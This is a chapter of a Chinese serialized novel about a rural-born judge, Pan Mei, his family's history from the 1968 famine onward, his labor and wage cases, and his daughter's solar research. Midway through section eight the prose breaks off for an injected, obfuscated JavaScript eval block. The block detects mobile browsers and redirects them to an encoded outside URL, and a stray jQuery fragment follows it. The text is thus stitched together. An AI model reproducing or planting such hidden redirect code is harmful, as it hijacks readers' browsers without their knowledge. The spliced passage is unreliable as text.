《半生债》下卷·海天一色 第二章山河故人
雪停了，东海却迎来连绵的阴雨。
潘美站在办公室窗前，看着玻璃上蜿蜒的水痕——不像王霖在商南经历的那种鹅毛大雪，这里的雨是粘稠的、无休止的，像这座城市里无数说不清道不明的纠葛。
手机在桌上震动。是王霖从商南发来的照片：少华山雪景，茫茫白色中透出几点枯树的墨黑。附言：“老潘，你说得对，山还在。”
潘美盯着照片看了很久。少华山——那座他十八岁前从未离开过的山，此刻覆盖着王霖故乡的雪。两个失意的中年男人，一个在山中疗伤，一个在城中坚守，却通过这座山产生了奇妙的连接。
他想起三天前那个深夜，自己冲动地打电话说要过去。现在冷静下来，才意识到那不仅仅是冲动的友谊——在内心深处，他想逃离这座潮湿的城市，回到那片能让人呼吸的故土。
---
一、饥饿的底色（1968）
潘美关于世界最早的记忆，是母亲刘秀兰指尖的温度。
1968年春荒，三岁的他蜷在炕角，听着肚子里空洞的呜咽。母亲从灶台转过身，手里端着半碗榆树皮糊糊，蹲下来用食指蘸了一点，轻轻抹在他干裂的嘴唇上。
“美子，尝尝。”
他伸出舌头舔了舔，苦，涩，带着树皮的粗粝。但母亲的眼睛亮着——那种在绝境中仍然努力点燃希望的光。
“等月亮到中天，”母亲把他搂进怀里，声音轻得像怕惊动什么，“咱就吃。”
为什么要等月亮到中天？很多年后潘美才懂：在饥饿面前，时间需要被分割成可以忍受的段落。而“等待”本身，是穷人对尊严最后的守护。
窗外的哭声打断了回忆。是隔壁李叔，他三岁的女儿没了，饿死的。下葬那天下着小雨，李叔抱着草席走出院子，突然跪在泥地里，头深深埋下去，肩膀剧烈颤抖却发不出声音。
那种寂静的悲痛，比嚎啕大哭更刺骨。
2015年冬，潘美审理一起粮食贪腐案。被告人曾是县粮库主任，贪污了三万斤储备粮。辩护律师说：“数额不大，且已退赃，应从轻处罚。”
潘美合上卷宗，沉默了很久。
“你知道三万斤粮是什么概念吗？”他缓缓开口，声音在法庭里显得异常清晰，“1968年，渭北大旱，我们村饿死十七个人。最小的那个……三岁。”
他顿了顿，目光扫过旁听席：“如果当时有三万斤粮，那个孩子现在应该和我一样大，五十多岁，可能有孙子了。”
法庭死寂。被告人抬起头，嘴唇翕动，最终什么也没说。
判决：有期徒刑七年。退缴的赃款，潘美建议设立专项基金，用于贫困地区儿童营养改善。
闭庭后，书记员小声问：“潘庭长，您今天情绪有点……”
潘美摇摇头：“有些记忆不是记忆，是长在骨头里的刺。时间越久，扎得越深。”
---
二、泥土的契约（1979）
1979年惊蛰，生产队的钟响了。
十一岁的潘美挤在人群里，看着父亲潘老栓的手伸进草帽——那只手因常年劳作而关节粗大，此刻却在微微颤抖。抓阄用的纸团，决定着一家人的命运。
纸团展开：“塬上坡地三亩二分，水浇地一亩八分。”
父亲看了三遍，然后猛地抱起潘美，原地转了三圈。这个沉默如石的男人，哭了。泪水顺着他沟壑纵横的脸滑落，滴在儿子肩上，滚烫。
那天夜里，潘美被院子里的声音惊醒。
月光如洗，父亲跪在院子中央，面前摊着那张土地证。他佝偻着背，粗糙的手指一遍遍摩挲纸面，像在抚摸初生婴儿的脸庞。
“爹？”
潘老栓没回头。他的声音在夜风里飘，轻，却字字如钉：“美子，记住今天。从今往后，咱流的汗能浇自己的地，咱种的粮能进自己的囤，咱的孩子……不会再饿死了。”
远处，少华山在月色中勾勒出沉默的轮廓。千百年来，它就这样看着这片土地上的人们——在苦难中挣扎，在希望中前行。
2018年，潘美审理一起土地承包纠纷。原告是七十岁的老农，因儿子擅自将承包地转租给企业，将亲生儿子告上法庭。
老人颤抖着拿出1979年的土地证——纸张发黄，红印模糊，但保存完好。
“法官，”老人老泪纵横，“这地……是我爹用命换的。1958年吃食堂，我爹饿死在山路上，怀里还揣着这张证的复印件。他说：‘儿啊，地是根，人在，地在……’”
潘美看着那张和自己家一模一样的土地证，良久，缓缓道：
“法庭支持原告诉求。理由简单——有些东西，不能只用钱衡量。比如土地，比如传承，比如一个父亲留给儿子的念想。”
闭庭后，儿子追上他：“潘法官，我真的只是为了家里好……”
“你父亲要的‘好’，”潘美停下脚步，“和你理解的‘好’，可能不是一回事。”
他想起父亲跪在月光下的背影。那一跪，跪的不是命运，是感恩；那一张纸，不是契约，是血脉。
---
三、独木桥上的光（1988）
1988年高考前夜，潘美在煤油灯下算最后一道几何题。
灯是他自制的——墨水瓶灌煤油，棉线搓灯芯。火光摇曳，在土墙上投出巨大的影子，像某种不安的灵魂。
母亲坐在对面纳鞋底。“嗤——啦——嗤——啦”，针线穿过千层布的声音，单调而坚韧。她不识字，但会看儿子的脸——眉头紧锁时题难了，嘴角微扬时解出来了。
“美子，歇会儿。”
“再看一页。”
母亲不再说话。她起身去了灶房，回来时手里捧着两个鸡蛋——家里最后两个。蛋壳温润，她在怀里焐了一路。
“吃了，有劲。”
很多年后，潘美审理一起助学贷款纠纷。大学生毕业后拖欠贷款，在法庭上说：“反正国家有钱，又不差我这点。”
潘美合上卷宗，看着他年轻的脸：
“你母亲……给你煮过鸡蛋吗？”
大学生一愣。
“1988年高考前夜，我母亲煮了两个鸡蛋，用围裙兜着，走了三里夜路送到学校。”潘美缓缓说，“鸡蛋是温的——她在怀里焐了一路。那年，我们村人均年收入不到两百块，一个鸡蛋，是一家人一顿的菜钱。”
法庭寂静。旁听席上有家长开始抹眼泪。
“我不是要你感恩，”潘美继续说，“我是要你知道——你走过的独木桥，是很多人用肩膀扛起来的。这些肩膀，不该被一句‘反正国家有钱’轻轻抹去。”
判决：大学生必须偿还贷款。但潘美在判决书后附了一封亲笔信，讲了这个关于鸡蛋的故事。
三个月后，法院收到一笔汇款——不仅是欠款，还有额外五千元。附言：“潘法官，我在老家小学设立了助学金。谢谢您让我明白，责任不是负担，是尊严。”
---
四、1993：潮水中的礁石
1993年的东海，空气中飘着海腥味和金钱的味道。
街边音像店大声放着《春天的故事》，橱窗里的“大哥大”标价两万八——相当于潘美三年的工资。
法院走廊里，议论声不断：“老周辞职了，去深圳当律师，月薪五千！”“听说还配了大哥大！”
那晚，大学兄弟赵明华来找潘美。两人坐在巷子深处的小馆子，一碟花生米，两瓶西凤酒。
“老潘，深圳那边给我开十二万年薪，一套公寓。”赵明华眼睛发红，“你怎么想？”
潘美转着酒杯。酒液在昏黄的灯光下泛着琥珀色的光。
“我父亲常说，”他缓缓开口，“少华山不高，但千百年来就站在那儿。发大水时它挡水，闹旱灾时它蓄水。山有山的命，人有人的路。”
“说人话！”
“我不走。”潘美放下酒杯，“这儿有我没做完的事。”
赵明华盯着他看了很久，突然笑了，笑着笑着眼眶就湿了：“我就知道……你呀，骨子里还是那个渭北农民——认准一块地，就刨到底。”
那天晚上，潘美手头有七个劳动争议案。最棘手的是女工李秀英——在电子厂干了五年，手指被冲床轧断两根，厂方说她是“临时工”，只赔三千。
开庭前，厂方律师特意到办公室：“潘法官，现在招商引资是大事。您这么判，外商吓跑了，谁负责？”
潘美抬起头：“法律的事，法庭上说。”
庭审中，李秀英左手缠着纱布，说话声音很小却清晰：“我十九岁进厂，今年二十四。这五年，我每天工作十二小时，每月休息两天。现在手残了，厂里说我是临时工……法官，临时工能干五年吗？”
她慢慢解开纱布——两根手指缺失，伤口愈合处是狰狞的肉红色。
潘美想起父亲在金矿背矿石时磨烂的肩膀。他问厂方律师：“你们厂，这样的‘临时工’有多少？”
“商业秘密。”
“那我换个问题：李秀英的伤，是不是在工作时间、工作场所、因工作原因造成的？”
“……是。”
“那为什么不能认定工伤？”
律师哑口无言。
判决书下达：确认劳动关系，构成工伤，赔偿八万二。李秀英拿到判决书时，跪在了法庭上。
潘美快步走下审判台扶她：“别跪。这不是我的恩赐，是法律该给你的。”
事后，这起案件上了《东海日报》二版。有人写信赞扬，也有人匿名举报他“破坏投资环境”。
院长找他谈话：“小潘，案子判得对。但以后……注意方法。”
“院长，”潘美平静地说，“如果依法办案都要注意方法，那法律还是法律吗？”
院长沉默良久，拍了拍他肩膀：“坚持住。法治这条路，得有人先走。”
那晚，潘美在日记里写：
“1993年3月15日，雨。今日判李秀英案。庭后，女工跪谢，我不受。因知此非我之功，乃法之功。唯愿：天下劳动者，皆得法之护佑。”
半个月后，李秀英从老家寄来一包红薯干。信里说：“潘法官，我用赔的钱开了个小卖部。这些红薯干是我妈晒的，甜。您尝尝。”
红薯干黑乎乎的，卖相不好，但嚼起来很甜——那种从土地深处长出来的、扎实的甜。
潘美分给全办公室的人：“都尝尝，这是法治的甜味。”
---
五、千禧年的薪火（1999）
1999年12月31日，千禧年前夜。
东海中院灯火通明，潘美却站在窗前发呆。白天那个案子的画面挥之不去——
三百多名农民工，被拖欠工资两年，总额四百多万。包工头跑了，总包公司踢皮球。农民工住在漏风的工棚里，孩子冻得小脸通红。
庭后，潘美去了工地。在郊区废弃厂房里，农民工用塑料布搭起简易棚屋。一个三四岁的女孩坐在砖头上啃冷馒头，见他进来，怯生生叫“叔叔”。
“你爸呢？”
“要钱去了。”女孩的母亲手上全是冻疮，“跑了两个月，没人管。”
潘美蹲下来，摸摸女孩的头。女孩躲了一下，又慢慢靠过来——她太冷了。
回到法院，他连夜写财产保全裁定。凌晨三点，裁定书写完：冻结总包公司账户，金额不是四百万，是工程总造价的三千万。
院长打来电话：“小潘，这么搞……会不会太猛了？”
“院长，”潘美声音沙哑，“再拖下去，会出人命的。”
第二天，总包公司董事长亲自来了。五十多岁，西装革履，但眼睛里有血丝。
“潘法官，我们愿意垫付。”
“不是垫付，是支付。”
董事长苦笑：“但我想知道——您为什么这么逼我们？”
潘美指向窗外正在建的三十八层大楼：“您可以在顶层看风景，但不能忘了，是谁在底层流汗。”
沉默。长久的沉默。
董事长缓缓开口：“我父亲……也是农民工。1978年在深圳摔断腿，包工头跑了。那年我十四岁，跪在医院走廊求医生……医生说，送晚了，腿保不住了。”
他顿了顿：“后来我发誓，等我有了钱，绝不拖欠工人一分钱工资。可是……企业做大了，有些事，就由不得自己了。”
四百三十八万工资款，在元旦前一天全部到账。潘美带着法警去工地发钱。
那个啃冷馒头的小女孩，父亲给她买了件红棉袄。她穿着新衣服跑到潘美面前，深深鞠躬：“谢谢法官叔叔。”
潘美蹲下，帮她系好扣子：“回家好好过年。以后……要读书。”
许多年后，2021年春天，潘美收到一封信。写信的女孩叫李晓雨，西北政法学院大二学生。
信里说：
“潘法官，您可能不记得我了。2000年元旦，您给我买过一件红棉袄。那天您说‘要读书’，我记了二十一年。现在我成了您的校友，我想像您一样，做一个让人温暖的法律人。”
潘美回信，只写了一句话：
“读书不是为了离开土地，是为了更好地回到土地。”
---
六、父亲带来的土（2005）
2005年春天，潘老栓第一次来东海。
老爷子坐二十八小时绿皮火车，拎两个蛇皮袋：一个装被褥，一个装土产——红薯干、大枣、柿饼，还有一小袋少华山的土。
“带土干啥？”
“怕你水土不服。”父亲认真地说，“想家了，闻闻土味。”
潘美在东海安家十二年，第一次把父亲接来。父亲每个房间都看了又看，最后在阳台坐下——那里能看见海。
“海……真大。”父亲眯着眼，“但没根。水是流动的，没根。不像山，一站就是几千年。”
那晚，父子俩喝到凌晨。六十二度的老白干，三杯下肚，话就多了。
“美子，你知道我为啥给你取名‘美’？”
“《诗经》里……”
“不是。”父亲摇头，“你妈生你那晚，我梦见少华山开满了花。白的，粉的，一片一片的。醒来就想：这娃，得叫‘美’。不是要你多好看，是要你心里有美——看见苦难里有花，看见石头里藏玉。”
潘美鼻子一酸。
父亲继续说：“你在法院……难吧？”
“……有时候。”
“难就对了。”老爷子抿口酒，“容易的路，走不远。你看少华山，为啥叫‘少华’？不是因为它年轻，是因为它知道——真正的华美，不在外表，在骨头里。”
父亲在阳台的花盆里撒下从老家带来的菜籽。半个月后，竟真的长出了嫩苗。
“这是什么？”
“苋菜。”父亲得意，“老家的土，到哪儿都能活。”
临走那天，父亲把那袋少华山的土倒进花盆，郑重地说：“这土，你留着。想家了，看看它。记住——人离得开土地，心离不开。”
火车开动时，父亲从车窗探出头大喊：“美子！那杆秤……端平！”
声音被车轮碾碎。
潘美站在原地，手里攥着父亲塞给他的一包东西——打开，是晒干的苋菜，和一张折得方方正正的五十块钱。
1988年版的，正是当年送他上大学时给的那张。
原来有些东西，父亲留了十七年。
---
七、废墟上的信（2008）
2008年5月15日，都江堰安置点。
潘美的“办公室”是顶蓝色帐篷，桌上用粉笔写着：“法律咨询”。第一天，来了十七个人。
一个老太太攥着烧焦的存折：“法官，这……还能取钱吗？”
一个中年人拿着全家福——照片上五口人，现在只剩他一个：“房产证没了……房子也没了……”
一个十六岁女孩，父母双亡，叔叔要霸占赔偿款：“法官叔叔，我能告他吗？”
第五天，来了个特别的人——五十多岁，一身尘土。
“我不是来求助的。”男人从怀里掏出布包，层层打开，里面是五万块钱，“我是来……捐钱的。”
“我儿子，”男人的声音发颤，“在北川中学……没了。这钱是他打工攒的，说要娶媳妇用。现在……用不上了。”他把钱推过来，“给更需要的人。但不能留我的名字。”
“您贵姓？”
“姓张。”
“张师傅，这钱……”
“我儿子叫张磊。”男人打断他，眼眶通红但没掉泪，“是个好孩子。他要是知道这钱能帮人，会高兴的。”
男人走了。潘美追出去，看着他走进暮色中的帐篷区，背影单薄，但步伐坚定。
那晚，帐篷外细雨霏霏。潘美在日记里写：
“2008年5月19日，雨。今日遇张师傅，捐子之积蓄五万。问其姓名，不言。唯言：‘我儿子是个好孩子。’夜深，雨打帐篷，声声如泣。忽悟：法治之重，不在高楼广厦，在废墟之上，仍有人信法、守法、用法。此信，如星火，可燎原。”
离开灾区前，潘美去了北川中学遗址。废墟已清理，空地上摆满鲜花和照片。他在一个男孩的照片前停下——十六七岁，笑得很灿烂，照片下面写着：“张磊，1992-2008。爱打篮球，想当工程师。”
潘美放下一束白菊，轻声说：“张磊，你爸……是个好父亲。”
风过废墟，扬起细微的尘土。远处，重建的机器开始轰鸣。
---
八、女儿的路（2012）
2012年夏天，高考成绩出来的那个下午。
潘美正在开审委会，手机震动。妻子杨静发来短信：“阳阳，632分。”
他放下手机，继续讨论案子，但嘴角的笑意藏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196373|197133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不住。晚上回家，潘阳坐在沙发上，面前摊着厚厚一摞志愿填报指南。
“爸，我想好了。”
“嗯？”
“西北大学。化学系。”
潘美正在倒水，手一顿。温水洒在桌上，漫开一小片水渍。
“化学？”他重复了一遍。
“嗯。”潘阳抬起头，眼神清澈坚定，“我想做点……实实在在的东西。爸，您看新闻了吗？最近雾霾越来越严重了。我想研究新能源材料，也许……能改变点什么。”
潘美放下水壶。他想起自己当年报考政法学院时的热血——要维护公平，要捍卫正义。而女儿的选择，指向了另一个方向：不是守护旧秩序，是创造新可能。
“想清楚了？”
“想清楚了。”
“那就报。”
填报志愿那天，潘美还是陪女儿去了。在“第一志愿”栏里，潘阳工工整整地写下：西北大学化学系。
班主任有些惋惜：“潘阳，以你的分数，政法学院随便挑……”
“我知道。”潘阳微笑，“但化学……也需要人。而且，”她看了父亲一眼，“我爸守护公平，我想创造美好。我们……分工不同而已。”
回家的公交车上，潘美看着女儿专注的侧脸。车窗外的梧桐树向后飞掠，阳光透过树叶缝隙，在女儿脸上投下跳跃的光斑。
他忽然明白：每一代人都有自己的使命。父亲那代人要的是不饿死，他这代人要的是公平，女儿这代人……要的是蓝天白云，要的是可持续的未来。
没有哪条路更高尚。只是时代在变，人们的期盼也在变。
---
九、墨尔本的星光（2019）
2019年秋天，墨尔本大学实验室。
潘阳在显微镜下观察晶体生长。这是她博士课题的第三个年头，关于钙钛矿太阳能材料的合成。窗外，南半球的春天刚刚开始，蓝花楹开得铺天盖地。
视频通话接通时，国内是晚上九点。潘美和杨静挤在手机屏幕前，看女儿展示最新成果。
“爸，你看，这是我们合成的薄膜。”潘阳的声音有些兴奋，“光电转换效率达到23.7%，又刷新纪录了。”
屏幕上，薄膜在灯光下泛着淡金色的光泽，像晨曦中的少华山。
“好，好。”潘美只会说这个字。他不懂那些化学名词，不懂什么转换效率，但他看得懂女儿眼里的光——那种发现新大陆般的光。
杨静在一旁抹眼泪：“阳阳，你又瘦了。国外的饭吃不惯吧？”
“妈，我挺好。”潘阳顿了顿，“爸，我们实验室最近有个新方向——把这种材料用在偏远地区的微电网里。我导师说，如果成功，一个村子只需要几块板子就能解决基本用电……”
她滔滔不绝地说着，潘美静静听着。这一刻，他彻底理解了——法治守护的是人与人之间的公平，而科技创造的是人与自然之间的可能。没有电的村庄，再公平的法律也带不来夜晚的光明。
“阳阳，”他等女儿说完，缓缓开口，“你还记得2000年那个穿红棉袄的小女孩吗？”
“记得，李晓雨姐姐。她去年毕业了，回甘肃老家当了法官助理。”
“对。她说，要把我当年说的‘要读书’传给更多孩子。”潘美顿了顿，“你现在做的研究，也许有一天，能让那些孩子读书时不用点煤油灯。”
视频那头，潘阳的眼睛亮了一下。
“爸，我懂。”她说，“您用法律守护公平，我用科学创造可能。我们……都在让这个世界变得好一点，对吧？”
“对。”
挂断视频，潘美走到阳台。那盆从老家带来的苋菜又冒出了新芽——父亲2005年种下的，如今已枯荣十八载。月光下，叶片上凝结着细密的露珠，像星星碎屑。
他想起父亲的话：“人离得开土地，心离不开。”
女儿飞得再远，根还在这里。在少华山的泥土里，在渭河的涛声里，在这片土地上生生不息的盼望里。
手机又响了。是王霖，从商南发来的新消息：
“老潘，我决定不躲了。明天回西安，把该处理的事处理干净。你说得对——山还在，人就得继续往前走。”
潘美看着这条消息，笑了。他回复：
“需要帮忙，随时开口。记住，你不是一个人。”
发完消息，他抬头望向东海的夜空。阴云散去，竟露出了几颗星星——微弱，但坚定地亮着。
就像这世上所有在黑暗中前行的人。或许孤单，但从不孤独。
---
十、少华微光（2023）
2023年春天，潘美终于踏上了回埝桥村的路。
长途汽车在盘山公路上蜿蜒。窗外，少华山越来越近——还是记忆中的轮廓，只是山腰多了几座风力发电机，白色的叶片在春风中缓缓转动。
弟弟潘强在村口等他。五十出头的汉子，皮肤黝黑，手掌粗糙，但眼睛亮着——那是只有土地才能赋予的光。
“哥，你看。”潘强指着山脚下的果园，“咱家那三亩二分地，现在种的是矮化苹果。一亩能产八千斤，网上直销，一斤卖十块。”
潘美看着那片果园。苹果树整齐排列，枝头已冒出嫩绿的新芽。他想起1979年父亲拿到土地证时的狂喜，想起那晚父亲跪在月光下的虔诚。
“爸要是看见……”他喃喃。
“爸能看见。”潘强肯定地说，“去年清明，我在爸坟前说了，咱家的地没荒，还结出了最好的果子。”
兄弟俩走到父亲坟前——其实没有坟，只有一棵枣树，是母亲临终前种下的。母亲说：“不要坟，不要碑，让我守着这片地就行。”
枣树已经很高了，枝干遒劲。潘美把手贴在树干上，粗糙的树皮硌着手心，有种奇异的温暖。
“爸，妈，”他轻声说，“我回来了。”
风过枣林，枝叶沙沙作响，像回应。
傍晚，潘美站在村后的高坡上，看夕阳把少华山染成金色。山脚下，村庄炊烟袅袅，新修的水泥路像银带般蜿蜒。远处，渭河在落日余晖中闪着粼粼波光。
手机震动。是女儿潘阳，从墨尔本发来消息：
“爸，我的论文被《自然·能源》接受了！导师说，我们的材料有希望实现产业化。也许很快，少华山下的村庄，就能用上清洁能源了。”
附了一张照片——实验室里，她手中的材料薄膜泛着淡金色的光，像晨曦，像希望。
潘美看着照片，又看看眼前的少华山。这座他走出半生却从未真正离开的山，此刻在暮色中沉默伫立，却仿佛在说：
你看，每一代人都有自己的光。你守护公平，女儿创造可能，土地孕育新生。这些光或许微弱，但汇聚起来，就能照亮前路。
思绪回到2015年春天：他拨通了王霖的电话。
“老潘？”王霖的声音听起来比一个月前有力了许多。
“在西安？”
“嗯，处理得差不多了。”王霖顿了顿，“老潘，谢谢你。在商南那段时间，我想明白了很多事——有些债，不是钱能还清的。但人活着，就得往前看。”
“对，往前看。”潘美望着暮色中的村庄，“王霖，等你这事彻底了了，来埝桥村看看吧。看看少华山，看看这片土地——它会告诉你，只要根还在，春天就一定会来。”
挂断电话，最后一抹余晖沉入山脊。村庄的灯火次第亮起，其中一盏，是潘强新建的电商工作室——他在网上卖苹果，也帮乡亲们卖花椒、卖土蜂蜜。
灯光透过玻璃窗，温暖而明亮。
潘美深吸一口气——空气中混合着泥土的味道、苹果花的清香，还有远方传来的、若有若无的秦腔。
这是故乡的味道。是根的味道。
他转身朝村里走去。明天要赶早班车回东海——手头还有几个重要的案子，其中一起环境污染公益诉讼，涉及周边三个村庄的饮水安全。
想起女儿研究的新能源材料，想起自己即将审理的环境案件，潘美忽然觉得：法治与科技，守护与创造，看似两条平行线，其实在某个维度交汇——都是为了让人活得更有尊严，让这片土地生生不息。
手机又响了。是法院的年轻法官发来的微信：
“潘庭长，您交代的那个环境公益诉讼案，我们找到了关键证据——企业偷排的暗管。村民愿意出庭作证。等您回来，就可以立案了。”
潘美回复：“好。告诉村民们，法律会给他们一个交代。”
夜色渐浓，少华山隐入黑暗。但山下的村庄灯火通明，像散落人间的星辰。
而潘美知道，明天太阳升起时，少华山依旧会在那里——不高，但挺直；不险，但坚实；不争，但自有风骨。
就像这片土地上的人们。就像那些在黑暗中依然选择相信光的人。
就像他自己。
---
（本章完，字数：11，248字）